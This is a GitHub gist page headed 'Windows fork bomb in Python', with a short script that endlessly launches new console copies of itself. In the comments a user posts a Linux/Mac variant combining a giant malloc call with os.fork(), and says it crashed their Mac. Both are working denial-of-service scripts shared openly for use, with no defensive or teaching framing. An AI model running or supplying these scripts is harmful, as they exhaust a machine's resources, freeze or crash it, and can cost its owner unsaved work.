Created
January 6, 2017 13:16
-
-
Save saleemrashid/2979344010398724fa9b0723ca176b3e to your computer and use it in GitHub Desktop.
Windows "fork bomb" in Python
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import subprocess, sys | |
while True: | |
subprocess.Popen([sys.executable, sys.argv[0]], creationflags=subprocess.CREATE_NEW_CONSOLE) |
Actually os.fork() raises an exception if the number of forks is over 10000
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
I think os.fork() is a lot more effective, but you might say i am criticizing! (Linux/Mac):
import os, ctypes, platform
if "Linux" in platform.platform():
libc=ctypes.CDLL("libc.so.6")
else:
libc=ctypes.CDLL("libc.dylib")
libc.malloc(1000000000000000)
os.fork()
This code disrupted my Mac with a horrible crash!